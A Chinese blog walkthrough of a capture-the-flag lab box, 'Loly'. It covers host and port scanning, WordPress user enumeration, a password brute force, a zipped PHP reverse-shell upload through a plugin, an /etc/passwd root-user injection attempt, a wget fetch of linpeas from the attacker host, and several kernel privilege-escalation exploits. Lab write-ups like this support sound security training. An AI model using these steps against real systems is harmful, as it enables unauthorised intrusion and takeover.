当前位置: 首页 > news >正文

实战打靶集锦-013-Loly

**写在前面:**记录博主的一次打靶经历

目录

  • 1. 主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. web服务探查
    • 4.1 WordPress探测
    • 4.2 使用metasploit
    • 4.3 使用wpscan
    • 4.4 阶段性回顾
  • 5. 提权
    • 5.1 弱密码提权
    • 5.2 操作系统信息枚举
    • 5.3 定时任务枚举
    • 5.4 passwd信息枚举
    • 5.5 可执行文件枚举
      • 5.5.1 /bin/ntfs-3g提权
      • 5.5.2 /bin/ping提权
      • 5.5.3 内核提权
      • 5.5.4 linpeas提权
        • 5.5.4.1 CVE-2017-16995
        • 5.5.4.2 CVE-2016-8655
        • 5.5.4.3 CVE-2016-5195
        • 5.5.4.4 CVE-2016-5195
      • 5.5.5 重新编译ntfs-3g的EXP


1. 主机发现

目前只知道目标靶机在65.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.65.0/24

在这里插入图片描述
锁定目标靶机为65.248。

2. 端口扫描

通过下面的命令对目标靶机进行全端口扫描。

$ sudo nmap -p- 192.168.65.248

在这里插入图片描述
目标靶机只暴露了一个80端口。

3. 服务枚举

通过下面的命令枚举一下80端口上的服务。

$ sudo nmap -p80 -A -sT -sV 192.168.65.248

在这里插入图片描述
目标靶机的操作系统应该是Ubuntu,运行的web应用服务器是nginx的1.10.3版本。

4. web服务探查

先通过浏览器访问一下。
在这里插入图片描述
没有太吸引人的内容,就是一个简单的不能再简单的nginx欢迎页面,通过dirsearch枚举一下目录看看。

$ dirsearch -u http://192.168.65.248

在这里插入图片描述
嗯,是WordPress的服务,再用dirb挂上big字典扫描一下。

$ dirb http://192.168.65.248 /usr/share/dirb/wordlists/big.txt

没有特别的发现。

4.1 WordPress探测

接下来老老实实探测一下WordPress服务,先用浏览器访问一下登录页面看看。
在这里插入图片描述
真够简陋的,尝试不同的用户名密码登录一下试试看。
在这里插入图片描述貌似没法正常登录,直接跳转到一个怪异的http://loly.lc/wordpress/wp-login.php。返回去看看忘记密码页面。
在这里插入图片描述
一样会跳转到loly.lc,会不会是我设置了burp代理导致的呢,去掉试试看。
在这里插入图片描述
效果是一样的。返回去老老实实看http://ip/wordpress/目录吧,进去都浏览一下。
在这里插入图片描述
这确实是一个比较奇葩的WordPress,只有一个上图所示的页面,随便都会指向不存在的loly.lc的域名导致不可达。

4.2 使用metasploit

无计可施了,用metasploit试试看。

$ msfconsole
msf6 > use auxiliary/scanner/http/wordpress_scanner
msf6 auxiliary(scanner/http/wordpress_scanner) > set RHOSTS 192.168.65.248
msf6 auxiliary(scanner/http/wordpress_scanner) > set TARGETURI /wordpress
msf6 auxiliary(scanner/http/wordpress_scanner) > run

在这里插入图片描述
执行结果对我们来说还是有进展的,锁定wordpress版本为5.5。

4.3 使用wpscan

$ wpscan --update
$ wpscan --url http://192.168.65.248/wordpress

在这里插入图片描述
比metadata得到的信息稍微多了一丢丢,接下来用Metasploit尝试一下扫出来的几个。

msf6 auxiliary(scanner/http/wordpress_scanner) > search xml-rpc

在这里插入图片描述
先用序号为2的PHP XML-RPC。

msf6 > use exploit/unix/webapp/php_xmlrpc_eval
msf6 exploit(unix/webapp/php_xmlrpc_eval) > set RHOSTS 192.168.65.248
msf6 exploit(unix/webapp/php_xmlrpc_eval) > set PATH /wordpress/xmlrpc.php

在这里插入图片描述
失败了,再试试序号为7的XML-RPC。

msf6 > use auxiliary/scanner/http/wordpress_pingback_access

在这里插入图片描述
仍然失败,再分别试试编号为8的。

msf6 > use auxiliary/scanner/http/wordpress_xmlrpc_login
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOSTS 192.168.65.248
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set TARGETURI /wordpress/

在这里插入图片描述
仍然失败。接下来查查WP-Cron的。
在这里插入图片描述
这个是不存在的,到这里为止,感觉没有可以下手的地方了。

4.4 阶段性回顾

回想前面的探测阶段,总觉得不太正常,所有的页面连接,都会指向loly.lc这个域名,但是这个域名我们是无法访问的。有没有可能这个loly.lc就应该是指向wordpress服务器呢?有这种可能性!我们直接在kali主机上修改hosts文件(添加一行192.168.65.248 loly.lc),将loly.lc指向我们的目标靶机试试看。
在这里插入图片描述
还挺像那么回事的,所有的页面显示不再那么low了,尤其是像密码找回等也可以正常打开了,接下来重新探查一下。重新进行目录枚举。
在这里插入图片描述
总体上感觉比之前的扫描内容多了些。接下来用wpscan扫描一下。

$ wpscan --url http://192.168.65.248/wordpress

在这里插入图片描述
这里跟之前的搜索结果没有太大差异,先用admin/admin尝试登录一下试试看。
在这里插入图片描述
嗯,这至少说明了admin用户是不存在的,这为用户枚举提供了可能性。通过wpscan枚举一下试试看。

$ wpscan --url http://192.168.65.248/wordpress --enumerate u

在这里插入图片描述
嗯,找到了一个用户loly,我们手工尝试登录一下看看(随便输入密码)。
在这里插入图片描述
跟之前的错误提示不一样了,确实这个用户是存在的,下面尝试爆破一下loly用户的密码。

$ wpscan --url http://192.168.65.248/wordpress/wp-login.php --usernames 'loly' --passwords /usr/share/wordlists/rockyou.txt

在这里插入图片描述
分分钟就爆破出来了,loly的密码是fernando,手工登录一下试试看。
在这里插入图片描述
登录后会出现一个管理邮箱确认的页面,点击“The email is correct”试试看。
在这里插入图片描述
登录成功了,看界面和url(wp-admin)这应该是管理员账号。先通过Metasploit搜索一下wordpress关键字。

msf6 > search wordpress

在这里插入图片描述
还真是不少,差不多100多项,从头开始,优先找rank为excellent,check为yes的项。我们先试试序号为20的WordPress Admin Shell Upload。

msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD fernando
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME loly
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 192.168.65.248
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run

在这里插入图片描述
竟然上传payload失败了,网上有人说修改一下HTTP客户端的超时时间。

msf6 exploit(unix/webapp/wp_admin_shell_upload) > show advanced options
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set HttpClientTimeout 120

在这里插入图片描述
并没有实际效果,这样搞有些太盲目了,既然我们已经拥有管理员账号,还是先看看wordpress上安装了哪些插件吧,不行的话安装一个带漏洞的插件。
在这里插入图片描述
总共三个,只启用了一个反垃圾邮件的插件。我们从之前的search结果中,筛选出所有rank为excellent,check为yes,并且包含plugin关键字的项,如下图所示。
在这里插入图片描述
从上面筛选的结果中,逐个试一下,可惜失败了。
在这里插入图片描述
loly用户只可以对已有的插件进行Activate或者Deactivate操作,不能安装或者卸载,看来loly不是一个完整权限的管理员用户。既然这样,就好好点击一下各个页面看看有没有别的路子吧。
在这里插入图片描述
首先发现在media这里是可以上传文件的,还记得我们之前用的以GIF8开头的那个payload吗?GIF应该也算是media吧,上传试试看。
在这里插入图片描述
额,失败了,有安全限制。继续往下看,在“AdRotate/Manage Media”下可以上传文件,并且规定了可接受的文件类型、大小等,如下图。
在这里插入图片描述貌似可以用于构建反弹shell的格式就是zip了,并且上面的图片中也说了,上传后会解压,并且会把zip文件删除。把我们的payload.php压缩成zip文件。

$ zip -q -o payload.zip payload.php

再次上传。
在这里插入图片描述
这次提示上传成功了,文件在/banners下面,在kali上开启监听,并尝试访问一下(http://loly.lc/wordpress/wp-content/banners/payload.php)。
在这里插入图片描述
貌似是突破边界了,我们进一步试试看。
在这里插入图片描述
确实是突破边界成功。

5. 提权

5.1 弱密码提权

在这里插入图片描述
终端异常,通过下面的命令优化一下终端,然后再试试。

$ /usr/bin/python3.5 -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述
看来没有弱密码。

5.2 操作系统信息枚举

在这里插入图片描述
这样就得到了目标靶机的系统信息:Ubuntu 16.04.1的64位版本,内核版本为4.4.0-31-generic。

5.3 定时任务枚举

在这里插入图片描述
定时任务中没有我们可以用于提权的信息。

5.4 passwd信息枚举

在这里插入图片描述
竟然有loly用户,用前面我们爆出的密码fernando试试看是否可以切换到loly用户。
在这里插入图片描述
密码不对,接下来尝试往passwd中写入一个用户。

$ echo "testusr:$1$tLZbutZB$fTEL0ldFBYz7sTASmpXop.:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
也不允许。

5.5 可执行文件枚举

先查看一下具备suid的二进制文件。

$ find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
通过上网搜索,貌似这里的ntfs-3g和ping都可以提权,接下来我们将使用这两种方式提权试试。

5.5.1 /bin/ntfs-3g提权

EXP地址在https://bugs.chromium.org/p/project-zero/issues/attachment?aid=265615&signed_aid=fGO-0n2HCpBXJ42JqT8tlQ==
不过我在利用的时候,不管是在靶机还是在kali上,始终都是编译失败。
在这里插入图片描述
在这里插入图片描述
只得暂时放弃。

5.5.2 /bin/ping提权

www-data@ubuntu:/$ mkdir -p /tmp/test
www-data@ubuntu:/$ ln /bin/ping /tmp/test/target

在这里插入图片描述
好奇怪,别人都是执行成功的,但是我这里一直失败,暂时放一边。

5.5.3 内核提权

先搜索一下对应内核版本的公共EXP看看。
在这里插入图片描述
匹配我们目标靶机的项还挺多的,下面使用linpeas看看哪个内核漏洞最有可能。

5.5.4 linpeas提权

$ cd /tmp
$ wget http://192.168.65.202/linpeas.sh
$ chmod 775 linpeas.sh
$ sh linpeas.sh

通过扫描,发现Exposure的状态为highly probable的CVE漏洞还挺多的,主要有CVE-2017-16995、CVE-2016-8655、CVE-2016-5195、CVE-2016-5195。
在这里插入图片描述
另外就是具备SUID的应用程序,ntfs-3g是可利用的,ping是不可利用的。
在这里插入图片描述
这也验证了之前ping程序exploit不成功的问题,接下来老老实实研究上面的4个CVE漏洞吧。

5.5.4.1 CVE-2017-16995

首先在本地Ubuntu(我的是16.04.7)上编译45101.c的代码。

ubuntu@ubuntu: ~$ gcc 45010.c -o 45010

然后将编译好的可执行文件45010上传到目标靶机(我用的python -m http.server 80 和 wget),然后直接在靶机上执行。
在这里插入图片描述
感觉貌似提权成功了,进一步试一下。
在这里插入图片描述
提权成功。

5.5.4.2 CVE-2016-8655

首先在本地Ubuntu(我的是16.04.7)上编译40871.c的代码。

ubuntu@ubuntu: ~$ gcc 40871.c -o 40871 -lpthread

然后将编译好的可执行文件40871上传到目标靶机(我用的python -m http.server 80 和 wget),然后直接在靶机上执行。
在这里插入图片描述
这个应该也是提权成功了,接下来验证一下。
在这里插入图片描述
提权成功。

5.5.4.3 CVE-2016-5195

首先在本地Ubuntu(我的是16.04.7)上编译40611.c的代码。

ubuntu@ubuntu: ~$ gcc -pthread 40611.c -o 40611

然后将编译好的可执行文件40611上传到目标靶机(我用的python -m http.server 80 和 wget),然后直接在靶机上执行。
在这里插入图片描述
这个提权失败。

5.5.4.4 CVE-2016-5195

首先在本地Ubuntu(我的是16.04.7)上编译40839.c的代码。

ubuntu@ubuntu: ~$ gcc -pthread 40839.c -o 40839 -lcrypt

然后将编译好的可执行文件40839上传到目标靶机(我用的python -m http.server 80 和 wget),然后直接在靶机上执行。
在这里插入图片描述
一直卡在这个界面没反应,回去查看了一下,靶机挂了,重启再试,还是同样的现象,提权失败。

5.5.5 重新编译ntfs-3g的EXP

既然安装了Ubuntu的16.04版本,这里把前面的ntfs-3g的EXP重新编译一下试试看。
在这里插入图片描述
仍然不成功,又在本地的Ubuntu 16.04.7上试了一下,也不成功,暂时放弃。
在这里插入图片描述
针对目标靶机的打靶到此结束。

相关文章:

实战打靶集锦-013-Loly

**写在前面:**记录博主的一次打靶经历 目录1. 主机发现2. 端口扫描3. 服务枚举4. web服务探查4.1 WordPress探测4.2 使用metasploit4.3 使用wpscan4.4 阶段性回顾5. 提权5.1 弱密码提权5.2 操作系统信息枚举5.3 定时任务枚举5.4 passwd信息枚举5.5 可执行文件枚举5.…...

程序员OKR学习法

版权声明 本文原创作者:谷哥的小弟作者博客地址:http://blog.csdn.net/lfdfhl OKR管理法 OKR(Objectives and Key Results)管理法是一种目标管理方法,旨在通过制定明确的目标和可量化的关键结果来帮助组织、团队和个人…...

【从零开始学习 UVM】6.6、UVM 激励产生 —— UVM Virtual Sequence【重要】

文章目录 使用virtual sequencer不使用virtual sequencervirtual sequence是一个容器,用于在环境中的virtual sequencer上启动多个sequence。 这个virtual sequence通常由一个具有对真实sequencers句柄的virtual sequencers执行。 需要virtual sequence的原因是当您需要在不…...

蓝桥杯:阶乘约数

蓝桥杯:阶乘约数https://www.lanqiao.cn/problems/1020/learning/ 目录 题目描述 填空题:答案是 39001250856960000 题目分析 AC代码(Java) 暴力 线性筛 题目描述 填空题 定义阶乘 n!123⋅⋅⋅n。 请问 100! (100 的阶乘)有…...

最大数字

[蓝桥杯 2022 国 B] 最大数字 题目描述 给定一个正整数 NNN。你可以对 NNN 的任意一位数字执行任意次以下 2 种操作: 将该位数字加 111。如果该位数字已经是 999,加 111 之后变成 000。 将该位数字减 111。如果该位数字已经是 000,减 111 之后变成 99…...

【java进阶08:异常】finally关键字、自定义异常类、用户业务作业、军队武器作业

java中的异常处理机制 异常在java中以类和对象的形式存在,那么异常的继承结构是怎样的?我们可以使用UML图来描述以下继承结构 画UML图的工具:Rational Rose、starUML等 Object下有Throwable(可抛出的) Throwable下有两…...

#课程笔记# 电路与电子技术基础 课堂笔记 第6章 半导体器件的基本特性

6.1 半导体基础知识 6.1.1 本征半导体 完全纯净的、结构完整的半导体称为本征半导体。 常用的半导体材料有硅和锗,它们都是四价元素,原子最外层轨道有四个价电子。 若将纯净的半导体制成晶体,则原子形成排列整齐的点阵。 点阵是由共价键提供…...

skimage.filters.apply_hysteresis_threshold详解

本文内容均参考scipy1.9.1scipy1.9.1scipy1.9.1版本的源码,若有任何不当欢迎指出 我们截取官方注释如下: def apply_hysteresis_threshold(image, low, high):"""Apply hysteresis thresholding to image.This algorithm finds regions …...

一、基础算法5:前缀和与差分 模板题+算法模板(前缀和,子矩阵的和,差分,差分矩阵)

文章目录算法模板前缀和模板子矩阵的和模板差分模板差分矩阵模板模板题前缀和原题链接题目题解子矩阵的和原题链接题目题解差分原题链接题目题解差分矩阵原题链接题目题解算法模板 前缀和模板 S[i] a[1] a[2] ... a[i] a[l] ... a[r] S[r] - S[l - 1]子矩阵的和模板 S[i…...

Python矩阵分解之QR分解

文章目录QR和RQ分解其他函数QR和RQ分解 记AAA为方阵,P,QP, QP,Q分别为正交单位阵和上三角阵,则形如AQRAQRAQR的分解为QR分解;形如ARQARQARQ的分解为RQ分解。 在scipy.linalg中,为二者提供了相同的参数,除了待分解矩阵…...

随机森林程序

n_estimators:数值型取值 含义:森林中决策树的个数,默认是10 criterion:字符型取值 含义:采用何种方法度量分裂质量,信息熵或者基尼指数,默认是基尼指数 max_features:取值为int型, float型, string类型…...

每日一练2627——变态跳台阶快到碗里来不用加减乘除做加法三角形

文章目录变态跳台阶思路:代码:快到碗里来思路:代码:不用加减乘除做加法思路:代码:三角形思路:代码:变态跳台阶 题目链接: 思路: 这个题目很容易理解&#…...

LeetCode-146. LRU 缓存

目录LRU理论题目思路代码实现一代码实现二题目来源 146. LRU 缓存 LRU理论 LRU 是 Least Recently Used 的缩写,这种算法认为最近使用的数据是热门数据,下一次很大概率将会再次被使用。而最近很少被使用的数据,很大概率下一次不再用到。当缓…...

#课程笔记# 电路与电子技术基础 课堂笔记 第3章 电路分析的几个定理

3.1 叠加定理 激励:电流源或电压源 响应:电流或电压 叠加定理一般用于已知激励或响应中的一种,求另一种。做法就是,每次只求一个激励作用下的响应,将其他激励置零,置零的具体做法是,电压源变…...

推迟参数设计的自适应反步控制和自适应神经网络的反步控制设计

推迟参数设计的自适应反步控制和自适应神经网络的反步控制设计 目录推迟参数设计的自适应反步控制和自适应神经网络的反步控制设计前言匹配与非匹配1. 基于自适应反步控制的非匹配条件下的系统控制器设计问题描述控制器设计小结2. 基于自适应反步控制和推迟参数设计的非匹配条件…...

spring5.1+SmartInstantiationAwareBeanPostProcessor 解决循环依赖

SmartInstantiationAwareBeanPostProcessor 解决循环依赖的过程, 例如上面的 A依赖B, B依赖A SmartInstantiationAwareBeanPostProcessor 是 Spring 中的一个接口,它扩展了 InstantiationAwareBeanPostProcessor 接口并提供了对 Bean 的实例化和属性填充的更高级的…...

apply、call与bind

共同点: 都是函数对象的一个方法,作用是改变函数执行时的上下文,即改变函数体内部this的指向 var name "lucy"; var obj {name: "martin",say: function () {console.log(this.name);} }; obj.say(); // martin&…...

《Effective Objective-C 2.0 》 阅读笔记 item3

第3条:多用字面量语法,少用与之等价的方法 1. 字面数值 使用字面量能令代码更为简洁: NSNumber *someNumber 1; *** 字面量语法的好处! *** 令代码更为简洁。能够以NSNumber实例表示的所有数据类型(int、float、d…...

SSL/TLS 证书管理

SSL 证书发现 随着组织的 IT 基础架构的扩展,他们为每台计算机获取证书以保护其资源和域。此外,开发人员通常会创建许多自签名证书,以便在产品的开发阶段保护内部网络。组织通常最终会拥有数千个证书。自动发现证书提供了对证书基础结构的完…...

supersqli(SQL注入流程及常用SQL语句)

目录 一、SQL注入知识学习 1、判断注入类型 (1)数字型注入判断 (2)字符型注入判断 2、猜解sql查询语句中的字段数(order by 的使用) 3、判断显示位爆数据库的名字 4、注释(--的使用&#…...

【数据结构】用Java实现一棵二叉树

目录 前言 1. 创建MyBinaryTree类 2. 从前序与中序遍历序列构造二叉树 3. 从中序与后序遍历序列构造二叉树 4. 用层序遍历验证二叉树是否构建成功 5. 整体代码(构建二叉树、二叉树的基本功能和测试代码) 6. 测试结果 前言 前面两篇文章已经给出了…...

【面试】面试官问的几率较大的网络安全面试题

文章目录防范常见的 Web 攻击1、什么是SQL注入攻击2、什么是XSS攻击3、什么是CSRF攻击4、什么是文件上传漏洞5、DDos 攻击重要协议分布图1、arp协议的工作原理ARP协议工作原理:2、什么是RARP?工作原理3、dns是什么?dns的工作原理4、rip协议是…...

[Python] 循环语句

循环语句就是在符合条件的情况下,重复执行一个代码段 1.while循环 while语句可用于在条件为真时反复执行代码块 语法格式 while 条件语句:执行语句 当条件语句为真(True)时,就会执行while循环下的语句 示例 实现1到100 的累加并输出求和结果 …...

计算机网络考试复习——第一章 1.5 1.6

1.5 计算机网络的类别 1.5.1计算机网络的定义: 系统集合,连接起来,协议工作,资源共享 计算机网络主要是由一些通用的、可编程的硬件互连而成的,而这些硬件并非专门用来实现某一特定目的(例如&#xff0…...

3.29 最小生成树算法

最小生成树概念 参考:什么是最小生成树? Minimum Spanning Tree 何为生成树? 生成树是指一个联通图的极小的连通子图,它包含了图中的所有n个顶点,并只有n-1条边(构成一棵树) 生成树的一些性…...

计算机科班与培训开发编程的区别在哪里?

科班、培训班、科班培训班的模式都培养了很多编程技术人员进入IT行业,有的成为某个技术领域的专家,有的成为领导层,有的一直在默默无闻的敲代码等待35岁的到来。不管那种方式入行,这些类似的情况都存在,并且未来还会一…...

idea设置常用自设置快捷键及坐标

<!--mybatis 依赖--> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.5</version> </dependency…...

Vue 3.0 实例方法

#$watch 参数&#xff1a;{string | Function} source{Function | Object} callback{Object} [options] {boolean} deep{boolean} immediate{string} flush返回&#xff1a;{Function} unwatch用法&#xff1a; 侦听组件实例上的响应式 property 或函数计算结果的变化。回调函数…...

日撸 Java 三百行day1-10

文章目录说明day1 环境搭建1.1 开发环境1.2 package import 和 println1.3 编写HelloWorld.javaday2 基本算术操作2.1 加、减、乘、除、整除、取余.day3 基本if 语句3.1 if条件分支语句3.2 代码day4 闰年的计算4.1 思路整理&#xff1a;何为闰年&#xff1f;4.2 核心代码day5 基…...

Ubuntu Instant-ngp 训练自有数据集

1. 运行环境配置 conda create -n instant-ngp python3.10 conda activate instant-ngp pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple2. COLMAP稀疏重建生成transform.json colmap 环境配置参考文档&#xff1b; 终端定位在instant-ngp/da…...